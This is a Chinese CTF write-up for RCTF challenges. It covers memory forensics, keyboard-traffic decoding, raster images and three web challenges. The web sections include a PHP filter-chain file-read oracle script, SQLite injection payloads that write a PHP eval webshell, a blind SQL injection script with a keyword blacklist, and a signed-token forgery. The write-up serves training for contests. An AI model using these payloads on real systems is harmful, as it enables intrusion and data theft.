Misc
gogogo
考点:内存取证
得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析
AXIOM 分析存在云服务 但是百度网盘要密码
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
发现访问过sqlite数据库 可以尝试提取数据库文件出来
结合 volatility 第一步先看 粘贴板
vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard
有
cwqs
猜测可能是百度网盘密码
得到 pwn=?.zip
但是还有密码 缺少关键信息
提取 places.sqlite
数据库文件
扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"
提取sqlite文件
vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./
打开 数据库文件 发现在moz_place
发现访问网址
访问 https://space.bilibili.com/3546644702301067
提示pwd=uid uid=3546644702301067
这个是压缩包密码
打开后为 flag.zip 和键盘流量lqld.pcapng
直接 usb流量一把梭
niuo ybufmefhui kjqillxdjwmi uizebuui
dvoo
udpn uibuui jqybdm vegeyisi
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi
zvjnybufme hkwjdeggma
na mimajqueviig
kyllda doqisl ba
pnynqrpn
qrxcxxzimu
输入法==拼音双键==联想 注意na mima
注意
na mimajqueviig 那密码就设置成
kyllda doqisl ba 快来打夺旗赛吧
"那密码就确定为,快来打夺旗赛吧"
密码是 kuailaidaduoqisaiba
打开直接就是flag
RCTF{wo_shen_me_dou_hui_zuo_de}
sec-image
考点: 光栅图
曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本
这个工具有两个参数
-x -y
-x XCOORDINATE 自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE 自动读取图片并尝试爆破纵向光栅图
根据已知信息 flag RCTF{xxxxx}
倒推找规律
flag0
-x R(T) C(F) 最明显的是一组的作为划分标准
-y 此时的2-1 是RC 2-2是TF 2-1对应1,2位 2-2对应3,4位
flag1:{c4b
flag2:af0e
依次类推
但是难免有些图片 实在是模糊不清
这个时候就用stegsolve 辅助判断
RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}
FindAHacker
内存取证 查看Desktop文件内容
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"
发现存在ida 逆向临时数据库
检查 进程
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist
提取 内存文件
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./
修改后缀位data用 gimp打开后
调了半天没有找到那一帧
不管了直接借用其他WP的图
不太懂逆向 xor数据后就是flag
mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):
flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")
RCTF{90ec9629946830c32157ac9b1ff8656f}
Web
color
做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用 当时写了个自动化找不同xpath的脚本(就是找色差)
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
driver = webdriver.Chrome()
driver.get('http://124.71.164.28:10088/')
time.sleep(60)
start_button = WebDriverWait(driver, 10).until(
EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()
i = 0
while True:
try:
i = i + 1
boxes = WebDriverWait(driver, 10).until(
EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))
)
found = False
for i in range(len(boxes) - 1):
if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):
if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):
boxes[i].click()
else:
boxes[i + 1].click()
found = True
break
if not found:
if len(boxes) > 1:
boxes[-1].click()
t2 = time.time()
except Exception as e:
print(f"An error occurred: {e}")
time.sleep(20)
continue
print("Done")
但是即使是自动化 也存在==可见的延迟== 当时做题时没有注意,认为是后端的延迟(但是实际是前端的) 不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反 逆了下它关键的加密逻辑 但是想简化问题
const CryptoJS = require('crypto-js');
function _0x443f31(_0x1de1a8) {
var _0x1de1a8 = 'checkImage';
var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";
var _0xdc28e0 = "41cd57f2d55398e9";
return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {
iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
}).toString();
}
console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==
所以直接js逆向==改变其代码逻辑== 游戏时间不是只有60s 吗 令他时间增加不就行了
tick: function () {
if (this._pause) {
return undefined;
} else {
this.time++;
if (this.time < 6) {
_0x4b69a3.time.addClass("danger");
}
if(this.time>1200){
this.gameOver();
return;
}
if (this.time < 0) {
this.gameOver();
return;
} else {
_0x4b69a3.time.text(parseInt(this.time));
return;
}
}
修改代码逻辑 使时间增加 到1200 进入gameover结算即可
时间增加成功
结合自动化的脚本
现在就等1200s秒后就可以拿提示了
拿到路由/secr3tcolor.zip 可以得到源码
dockerfile中直接提示flag 在 /flag.txt中
就是已知flag的位置 要想办法读取文件 看看 game.php
else if($action === "checkImage"){
try {
$upload_image = file_get_contents($_FILES["image"]["tmp_name"]);
echo getimagesize($upload_image);
echo+文件处理流函数
直接考虑 php filter Oracle 测信道 任意文件读取
参考:https://xz.aliyun.com/t/12939
被影响的函数包含 getimagesize
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
简单改下poc即可 改变其 req函数
def req(s):
data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
string_content = f"php://filter/{s}/resource=/flag.txt"
files = {'image': string_content}
res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)
return 'Fatal' in res.text
注意一下原来的poc是通过 http状态码 500 判断测信道 但是实际上 只要 php 内存溢出了 就会有报错
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6
可以从其中顺便找个 关键词 作为判断的标准即可
比如我这里是用 Fatal
header头就是编码方式
可以根据 自己的需求 改它的poc即可
RCTF{Color_Col0r_C0lor}
赛后看了看其他WP 既然是前端做的延迟那么直接敲掉
delay
就可以了后自动化脚本也是可以的
但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功
proxy
考点 :sqlite注入
public function execMultiSQL($arysql){
try{
$this->dm_handler->beginTransaction();
foreach($arysql as $asql){
$result=$this->dm_handler->exec($asql);
}
#只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库
$this->dm_handler->commit();
return TRUE;
}
catch(PDOException $exception) {
$this->dm_handler->rollBack();
return FALSE;
}
}
其实 这道就是考如何闭合sql语句 写到数据库中
$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";
$arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";
#闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-
$arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";
#直接将其嵌入到 SQL 语句
$arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";
$DbObj->execMultiSQL($arysql);
但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个
同时闭合所有sql语句 这个思路是看样子是走不通了
查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT
命令
https://www.runoob.com/sqlite/sqlite-transaction.html
COMMIT 命令
COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。
COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。
COMMIT 命令的语法如下:
COMMIT;
or
END TRANSACTION;
居然可以无视报错直接提交COMMIT
到数据库保存
结合sqlite注入==写shell==的文章 其中的poc一把梭就是
https://xz.aliyun.com/t/8627
');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-
直接写shell是成功的
RCTF{ok_you_are_win_this_sql_game}
赛后看了看其他的WP 发现正解该是利用Proxy.php
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']
作为HTTP头传递
比赛时特别考虑过 但是没有内容就认为不是这个思路
但是没想到居然可以利用Proxy.php
的确可以拿到==请求== 以后就用nc判断了….
那么我们只需要闭合==最后的sql语句==即可
VALUES('".$ProxyObj->body."')";
其他前面的sql一定是闭合的 直接用先知的文章打payload,简单闭合就可以了
<?php
echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";
?>
一个小问题:
如果我们访问poc.php返回
a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--
VALUES ('');
的值为空 是没有写进去吗?
本地看了一下是==写进去了==
RCTF{ok_you_are_win_this_sql_game}
what_is_love
存在黑名单 要进行绕过
db.query(
"CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"
);
db.query(
"INSERT INTO key1 (love_key) VALUES('RCTF{key1')"
//向 key1表中插入 love_key的值
存在表名 key1 字段为 love_key 黑名单相当于禁用了
/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi
let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;
db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {
//很显然我们不知道love_key的具体值
if (err) {
res.send("error");
} else if (results.length > 0) {
res.send("success");//布尔盲注
} else {
res.send("wrong");
}
这是一道非常典型的布尔盲注
但是要注意的是 这道题将select
过滤了 我们无法进行任何查询操作
但是 love_key 就是我们要求的第一段flag
完全可以直接 通过 ==正则匹配查询想要的数据== 通过布尔盲注判断即可
flag 1 必然是RCTF
开头的可以验证一下
通过正则匹配开头是
R
可以验证思路是正确的
编写脚步(注意 –+- 只能用于GET )
import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:
for i in strs:
data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
res=requests.post(url=url,data=data)
if "success" in res.text:
flag+=i
print(flag)
但是同时 由于源码限制 key1.length > 52
RCTF{THE_FIRST_STEP 第一段flag不完全
直接倒着匹配flag 1
import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:
for i in strs:
#data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}
res=requests.post(url=url,data=data)
if "success" in res.text:
flag=i+flag
print(flag)
P_IS_TO_GET_TO_KNOW
flag 1就是
RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW
如果我们不按照它期望传入一个数字 而是字符串
userInfo.love_time = Number(love_time);
将返回 NAN
在此时的加密中
const createToken = (userinfo) => {
const saltedSecret =
parseInt(Buffer.from(secret).readBigUInt64BE()) +
parseInt(userinfo.love_time);
const data = JSON.stringify(userinfo);
return (
Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)
);
};
直接和随机生成的secret 拼接
那么此时的
${data}
:{"username":"J1rrY","love_time":null,"have_lovers":false}
${saltedSecret}
:secret+NAN
尝试输出此时的 saltedSecret
const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =
parseInt(Buffer.from(secret).readBigUInt64BE()) +
parseInt(love_time);
console.log(saltedSecret);
会发现始终是一个定值 NaN
这说明一个事实 只要 “love_time"为 null
saltedSecret
就一定是 NaN
是一个定值
已知加密逻辑直接伪造加密就是了
const crypto = require("crypto");
const secret = crypto.randomBytes(128);
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");
userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}
const saltedSecret =NaN;
console.log(saltedSecret)
const data = JSON.stringify(userinfo);
console.log(data)
console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))
RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}